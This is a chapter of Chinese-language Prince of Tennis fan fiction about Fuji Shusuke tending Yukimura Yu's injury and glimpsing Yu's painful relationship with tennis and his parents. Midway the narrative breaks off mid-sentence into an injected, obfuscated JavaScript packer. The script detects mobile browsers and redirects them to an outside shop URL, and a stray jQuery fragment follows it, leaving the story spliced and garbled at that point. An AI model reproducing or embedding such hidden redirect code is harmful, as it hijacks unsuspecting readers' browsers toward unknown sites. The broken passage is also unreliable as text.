在去医务室的路上,两人都很沉默,直到看见医务室门口挂着的医生外出的牌子。
“……算了,不用包扎。”
“不用,直接进去。我知道药在哪里。”
不二周助推开医务室的门。他经常帮其他受伤的部员过来拿药,对于药箱摆放的位置已经很熟悉了。
雪村优被不二周助安置在沙发上,茫然空洞的黑色眸子倒映着不二周助的身影。
“不,我果然还是……”
“坐下。”
不二周助一个眼神将人定在原地,拎着医药箱上前。
此时右手的血迹已经凝固成了深褐色的血痂,大面积破损的伤口混杂着泥土和碎石,惨不忍睹。
处理伤口的过程安静又快速,不二周助的手很稳,用消毒棉签清理完碎石泥土后喷上了消炎的药物。
不痛吗?
但他没问出口,面前的人也依旧保持着沉默。
恍惚间,不二周助想起小时候裕太学习骑单车时,也曾经摔进泥坑里将自己弄得破破烂烂的。
彼时尚且年幼的弟弟强忍着泪水想做出坚强的样子,但泛红的眼尾和不断抽噎的呼吸依旧在他的面前无所遁形。
裕太会在伤口被妥善包扎后露出有些不好意思又满不在乎的笑容,但是面前这个人的目光中依然彷徨迷茫。
所有的伤口清理完毕,不二周助缓缓道:“如果真的这么讨厌网球的话,退部就好了。”
由于空降青学网球部正选的缘故,不二周助原本对于雪村优这个人并没有太过正面的印象。他承认雪村优网球实力强,但青学网球部不是非他不可。
但他能看得出来和越前龙马打球时,雪村优的抗拒并不是假的。既然打网球这么痛苦的话,不打就好了。
抗拒却又无力挣扎,只能停留在原地……雪村优这个人简直从上到下都写满了谜团。
但太多的好奇心放在此刻似乎并不合时宜。
“我没有选择。”
雪村优语气干涩。
在现在这个阶段,和父母硬碰硬,只会输的一无所有。
他一开始并不喜欢网球。
从尚且年幼还不知网球为何物时就被迫进行了沉重的日常训练。最开始时稚嫩的手掌握着球拍,手上的水泡没有一天消下去过,在炎炎烈日下奔跑也成了常态。
伴随着网球出现的一切都让他无比痛苦,甚至训练到反胃,训练到呕吐,宛若上紧了发条的生命也永远无法停下奔跑的步伐。
训练网球的日子成了漫长的毒药,可他甚至没有选择没有人问他是否想打网球,他就必须被动被迫走上了一条打网球的路。
他从一开始就没有选择。
——但是后来,他看见了和他的网球截然不同的,另一种情况。
那样漂亮,那样快乐,快乐的让人想哭。
能打出这样网球的人,果然也和他的球技一样好看。
从那一天起,灰色的世界里偶尔会出现一抹漂亮的蓝色。一想到那样漂亮的蓝色,无处不在的,宛若濒死般的窒息感,似乎也消弭了几分。
扑通!扑通!
心脏跳的很快。
好想像他的对手那样,专注地被他凝视。
和网球伴随而来的一切都没有改变——满手的水泡,繁重的训练,和沉重的期待。但是,因为有了那个孩子的存在,似乎这一切都可以忍耐了。
甚至一想到挥出的每一拍,奔跑的每一步都在离那个孩子越来越近,他就有些兴奋到战栗。
起码网球也不是一无是处。
正是因为网球,他才能越来越接近他。
终于他得偿所愿。
然后又在下一秒被推入地狱。
如果如果他的网球不能让他到达想去的人身边,那又有什么意义呢?
他确实渴望胜利,但胜利只是帮助他和那个孩子见面的工具罢了。
拥有着那样漂亮球技的孩子,一定不会泯灭为众人。只要他打得够越好,比赛越多,他就越有可能和那个孩子相见。
最终他终于来到了他身边。
然后在最快乐,最幸福,自以为拥有了一切的时候又被迫分开。
如果未曾得到过,那么或许尚且不会如此痛苦——但是正因为曾经得到过得到的太多,所以更显得此刻的境地无法忍受。
离开神奈川的那一天起,他的灵魂似乎有一部分被永远留在了原地,徒留一具浑浑噩噩的尸骨在世间飘荡。
无法割舍,根本无法割舍。
他就是会无法自拔的,宛若飞蛾扑火般,一次又一次奔向那样漂亮宁静深邃的大海。
哪怕结果是粉身碎骨,亦或是坠入深渊,他也在所不惜。
倒不如说,在混沌无光的生命里能奔赴这样的存在,光是想想就觉得真是太幸福了。
……
医务室里,空气仿佛凝固了。
而远处,酝酿了许久的雷声终于迎来了第一场暴雨。
漂泊的雨丝砸在屋顶,砸向窗户,砸向树林间,伴随着鬼哭狼嚎般狂风的呼啸声,带着某种仿若毁天灭地的气势。
初春很少有这样的天气,这次的大雨实在是有点不同寻常。
此时实在不是一个谈心的好机会。严格来讲,他们还只是连朋友都算不上的陌生人,微妙的边界感并不适合在此刻被戳破。
不二周助微微闭眼。
那一瞬间他想了很多。
但他再睁眼时,已经收敛了脸上的所有表情。
“很晚了,回去吧。”
两人撑着伞,走在医务室通往校门的路上。
此时已完全天黑,昏黄的路灯也被蒸腾的水雾晕染成模糊的色泽,两人靠着不甚明朗的路灯,一脚深一脚浅地走向学校大门的方向。
在靠近学校门口时,不二佐助看见了一辆车,和一对正打着伞,刚从车上下来的夫妇。
那对夫妇原本正着急地想往学校里冲,但在看见他身侧的少年时停下了脚步,沉默伫立在远处的身影远远看去似乎酝酿着什么即将爆发的危险因素。
不二周助敏锐地感觉到原本默默走在他身侧的雪村优身形忽然僵硬了一瞬。
身侧的人似乎轻声说了一句什么。
但瓢泼的大雨打在伞面上,嘈杂的声音一瞬间盖过了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944898|209986||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
所有的呢喃。
不二周助看着雪村优机械的,僵硬的一步步走向那对夫妇。
那对夫妇无视了他,两人将落单的少年围住。
三人似乎正在交谈着什么。
但谈着谈着,似乎女人最先发现了少年受伤的右手,情绪一瞬间激烈起来。
“……受伤……网球……比赛……”
雨声遮掩住了一切狼狈和不堪,但不二周助依然觉得自己已经接近了真相。
他默默看着黑发少年有些机械性的坐进车里,宛若游魂般的身影消失在车内。
汽车呼啸着远去。
……雪村,优。
不二周助敛眉,掩下了眼底的思绪。
……
昏暗的房间里,只有面前的电视机是唯一的光源。
不二周助正认真的看着电影。
正在放映的电影碟片是他从弟弟不二裕太那里找到的,似乎有些年代了,电视机里的画面都带着颇有年代感的沙沙音质和模糊的噪点。
但不二周助依然看得很认真,棕褐色的瞳孔紧紧盯着电视机里正在交谈的人影上。
「亲爱的,我无法呼吸!看样子只能战斗了,只有这样我或许才能继续活着!」
「战斗的理由?你怎么会问这种可笑的问题!让我浴血奋战,厮杀至今的理由从来就只有那一个——」
「为了我心中的光!为了这抹光能延续下去,我会用尽一切手段。」
「倘若有一天他突然消失,或许我也会追随着那光而去,浑身碎骨也说不定……」
咔嚓一声,紧闭的房门被推开,从门缝中倾洒出的暖黄色灯光洒进房间内,也照亮了正坐在软垫上盯着电视机的不二周助。
“什么……居然在看电影吗?”
“啊,是裕太啊,”不二周助笑眯眯的回头:“借了你珍藏的碟片来看,好像还挺有意思的呢。”
“……没事。”
“那么,裕太有什么事吗?姐姐做了蓝莓派,就在厨房。”
不二裕太沉默一瞬,嘴边的话还是咽下来:“我不是为了蓝莓派……”
不,明明想问今天这么晚回家,是不是遇到了什么麻烦的……还是算了。
随着房门的关闭,电视机又成了唯一的光源。
「伊卡洛斯式的悲剧?哦亲爱的,我并不想撒谎,但那正是我所期待的!奔向太阳,或许坠入深海前的最后一眼看到的都是太阳。」
「当我靠近光时,我得以呼吸,觉得温暖,我觉得幸福,我觉得……活着——但一旦分开,或许只有在毁灭的瞬间,我才会有活着的实感。」
随着片尾曲的结束,电视机的光熄灭,房间里变成了全然的黑暗。
……
关上房门的不二裕太皱眉盯着面前紧闭的门板,回忆着刚刚无论是表情还是语气都十分自然的哥哥。
……是他的错觉吗?他总觉得今天老哥有点不太对劲。
果然因为是最后一年了,所以对于即将到来的地区预选赛过于在意了吗?像他老哥这样的人,居然也会因为比赛而紧张?
还是说,因为别的什么原因呢?